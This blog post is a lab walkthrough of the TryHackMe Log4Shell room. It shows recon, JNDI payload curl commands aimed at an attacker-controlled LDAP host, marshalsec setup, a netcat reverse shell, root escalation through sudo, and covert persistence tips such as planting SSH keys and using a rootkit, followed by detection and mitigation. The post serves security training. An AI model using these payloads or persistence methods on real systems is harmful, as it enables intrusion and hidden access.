Tips for an Information Security Analyst/Pentester career - Ep. 89 - Stay Current (log4j exploit)

Both penetration testers/red teamers and blue teamers need to stay abreast of the latest vulnerabilities being discovered, understand their implications and learn both how to exploit them and how to remediate or mitigate them.

This post will be about a recent critical vulnerability affecting a java logging library called log4j that offers remote code trivial remote code execution on hosts running software using this vulnerable dependency. This attack has been called "Log4Shell". Multiple patches were released for this package, but the impact of this vulnerability is very widespread, because millions of applications as well as software providers use this package as a dependency in their own code. Many security researchers have compared this vulnerability to the Shellshock exploit based on the nature of its enormous attack surface.

As a penetration tester, I constantly test and study new vulnerabilities to understand their actual impact for my clients, and my focus is both on exploitation and on remediation/mitigation strategies.

An easy way to demo Log4Shell is provided by TryHackMe, that created a free room for this purpose.

The room illustrates the vulnerability, explains how to exploit it, and also describes mitigation strategies, so I think it's a good demo of what a real-world context looks like.

 

RECON  

The first step to test the vulnerability is to Nmap the Solar machine (nmap -sS -sC -vv -p- --open <TARGET IP ADDRESS> -oA <OUTPUT FILES NAME>).

The above command runs a SYN scan (-sS), with service versioning (-sV), executes all default scripts (-sC) on all ports (-p-), returns only open ports (--open) with verbosity level 2 output (-vv) and creates three different output files, given a name we provide (-oA): greppable Nmap format (.gnmap), Nmap format (.nmap) and XML format (.xml). In other words, if we called the output file scan, we'd have scan.gnmap, scan.nmap and scan.xml as output files.

Nmap output shows three open TCP ports: port 22 (SSH), port 111(rpc) and port 8983 (Apache Solr).

The version of OpenSSH in use is associated with Bionic (Ubuntu 18.04).

 

DISCOVERY

Browsing to the Apache server, we find clear indications log4j library is in use, as we can see a whole series of configuration parameters referring to it.

In the walkthrough for the room it is clearly indicated that

the target machine is running Apache Solr 8.11.0, one example of software that is known to include this vulnerable log4j package. For the sake of showcasing this vulnerability, the application runs on Java 1.8.0_181.

That's why I used a newly created Ubuntu VM as an attacking machine, as Ubuntu comes with no preinstalled version of Java, unlike Kali (coming with Java 11). Detailed directions on how to install the required Java version are available on the webpage.

TryHackMe also provides with some example log files, one of which has a significant number of INFO entries showing repeated requests to one specific URL endpoint. 

Analyzing the solr.log file (see embedded video), we can see all such requests point to a specific path (URL endpoint): /admin/cores, and we can also control some data entrypoint (params).

Other than parsing log files, the log4j package can evaluate code based off the entry data or also execute other commands as entered into log files.

 PoC

An example of syntax we can use to get a working proof of concept is this one: {jndi:ldap://ATTACKERCONTROLLEDHOST}

In this case, log4j will invoke functionality from "JNDI", or the "Java Naming and Directory Interface." This can be used to access external resources, or "references," and we can weaponize this functionality to obtain a proof of concept.

In general terms, it's not always quite obvious what entry points can be used to perform this specific attack.

However, in our case we know we have a params parameter we can supply as an input.

For example, we can provide HTTP GET variables or parameters which will then processed and parsed by log4j, or inject the above string in input boxes, user and password login forms, data entry points, any customizable HTTP header or any other entry for user-supplied data.

For the purposes of this PoC, we need to start a listener on any port of our choice. The walkthrough uses port 9999 TCP, but you can use any port >1024 for this. I'd suggest firewall enumeration of REJECT rules to understand what ports are blocked by the firewall and which ones are allowed. Remember, in Linux systems you need to be or become root in order to use ports 1-1024.

With an active listener, we can use a curl command to get a connection back to our attacking machine, as follows:

curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999\}'

The target is in fact vulnerable, as it sends a connection back to our netcat listener. However, it made an LDAP request. As we don't yet have a server running capable of responding to that request, the netcat listener can only return non-printable characters (gibberish).

EXPLOITATION 

For the exploitation stage, we can follow two different methods:

1. Attack Box: deploys a TryHackMe machine in your browser.
2. VPN: You connect your attacking VM to THM through openvpn.

I used openvpn because the free version of Attack Box doesn't provide any Internet access, needed to complete one of the next steps. If you want to use Attack Box for this, you need to subscribe to the premium version.

Building upon the previous step, we can use a open-source utility to stage an "LDAP Referral Server", which redirects the initial request of the victim to another location (Python HTTP server), where we can host a secondary payload that will run code on the target.

For this purpose, we can install marshalsec (https://github.com/mbechler/marshalsec).

For the exploit to succeed, you need to run Java 8.

Also, maven needs to be installed. 

Afterward, we can compile marshalsec through the mvn clean package -DskipTests command.

This step won't succeed in the free version of Attack Box, because it requires Internet access.

The marshalsec server can then be launched with a command such as this: 

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"

We now have an LDAP referral server running and waiting for a connection on port 1389.

 


Let's now create a java exploit (Exploit.java) as shown below, which uses netcat to send a reverse Bash shell back to our machine. This is a simple PoC but it can be improved by using native tools such as /dev/tcp for the same purpose, as netcat is often not installed by default on real-world machines and, even when it is, some of its versions don't support the -e option.


We compile the exploit with javac Exploit.java command, that generates an executable exploit (Exploit.class).


At this point, we can start an HTTP server to host the exploit on port 8000 (python3 -m http.server).

Now we have all ready, let's start a netcat listener and trigger the exploit with the following curl command:

curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'


This sends a connection back to our machine on port 9999 TCP.

We can get an interactive shell with a python one-liner and start analyzing the target machine.


We could gain access as a non-root user (solr) and so we have the same privileges as such user does.

 PERSISTENCE (PRIV ESC)


In order to achieve persistence on the machine, we need to perform a privilege escalation, which can be done through a series of manual steps or through enumeration scripts. I tend to favor manual solutions myself. 

In general terms, for Linux privilege escalation, this post is a very good and well-established source most people refer to.


In our case, priv esc results to be quite trivial, almost disappointing.

In fact, based on the output from sudo -l command, the solr user can run any commands as root without needing to provide any password. At this point, we can run bash as root to spawn a root shell.


In order to achieve persistence, the TryHackMe guide suggests to change the password for solr user by running the passwd command as root, as the target host runs SSH on port 22.

This will allow to SSH to the victim machine as an authorized user and gain a more stable shell.

I don't personally believe this is the best way to achieve persistence, and it's not what I'd personally do in a real-world engagement. In fact, such change would leave a suspicious audit trail and could also lock out a valid user, raising a red flag that could get you immediately caught by the target's SOC/sysadmin.

I believe a much better solution would be to add your own SSH key to the /root/.ssh/authorized_keys file and then SSH to the target with your user account. This will create much less noise and should work just fine, unless the /root/.ssh/authorized_keys file is locked down and patched. Another solution could be an SSH reverse shell (ssh -R -N 2200:localhost:22 user@target) but maybe a rootkit would be needed to hide the associated process (thanks to my friend Aqeeb for this last tip).

Anyway, we can now SSH to the machine and become root, as explained earlier.

DETECTION

Finding applications vulnerable to CVE-2021-44228 "Log4Shell" is hard and detecting exploitation might be even harder, as a virtually unlimited amount of potential bypasses is available. 

In our case, after hacking into the machine, we can analyze the log file vulnerable to the exploit (/var/solr/logs/solr.log).

As we didn't use any obfuscation, we can easily spot the JNDI attack syntax we used. Of course, in real-world scenarios, this wouldn't be that easy.

BYPASSES

The above attack uses a typical syntax that can be easily detected by WAFs and by well trained blue teamers, so it might be worth adding more sophistication to it in order to hide, mask, or obfuscate the payload. The guide suggests a list of bypasses to try out. I tried a couple of them but, though the curl command was successful, I didn't receive a reverse shell.

I'll leave this as an exercise to my readers and refer you guys to this good post for more details.

MITIGATION

The best defense against the log4shell exploit is to apply all available patches to the vulnerable log4j library.

However, researchers proved patches don't completely fix the problem, plus they can't be applied when the library can't be updated.

For these situations, Microsoft recommended specific mitigation strategies. The THM room illustrates how to apply one of them, setting the log4j2.formatMsgNoLookups parameter to ‘true’, in order to disable the vulnerable feature.

For this purpose, we want to access the machine and edit the /etc/default/solr.in.sh file by adding the following line of code, that will disable the vulnerable functionality:  SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true".

We then need to restart the Apache Solr service (sudo /etc/init.d/solr restart).

After doing so, if we repeat all the attack steps, this time we're unable to receive a reverse shell, as the attack gets blocked.

PATCHING  

The log4j vulnerability hasn't been fully patched at the moment, and the situation is constantly evolving.

The best course of action in such uncertain scenarios is to review the business reasons justifying using such vulnerable logging feature. If this is justified business wise, appropriate mitigation strategies, such as restricting access to specific IPs, based on ACLs, firewall rules or a VPN connection, should be adopted.

If the vulnerable feature can be safely disabled without causing any business disruption, the method described in the THM guide is a good solution.


WRAP-UP

I believe the TryHackMe room offers a very well designed and pretty realistic simulation where to safely practice the log4j vulnerability, at the same time providing a good overview of what real-world penetration testing is about.

In fact, a penetration test is but a tool to support the business, and its result must be expressed in business terms.

As a pentester, I don't simply exploit a vulnerability, but also report on what was done wrong, how to remediate or mitigate the factors that caused the vulnerability and what was done right.

If a client follows security best practices and/or implements the right mitigation strategies, all this must find its way in the report.

The only missing part here from a real-world process would be report writing but, as it implies client privacy issues, that makes perfect sense.

I personally cheer to this initiative and hope more training providers will follow suit.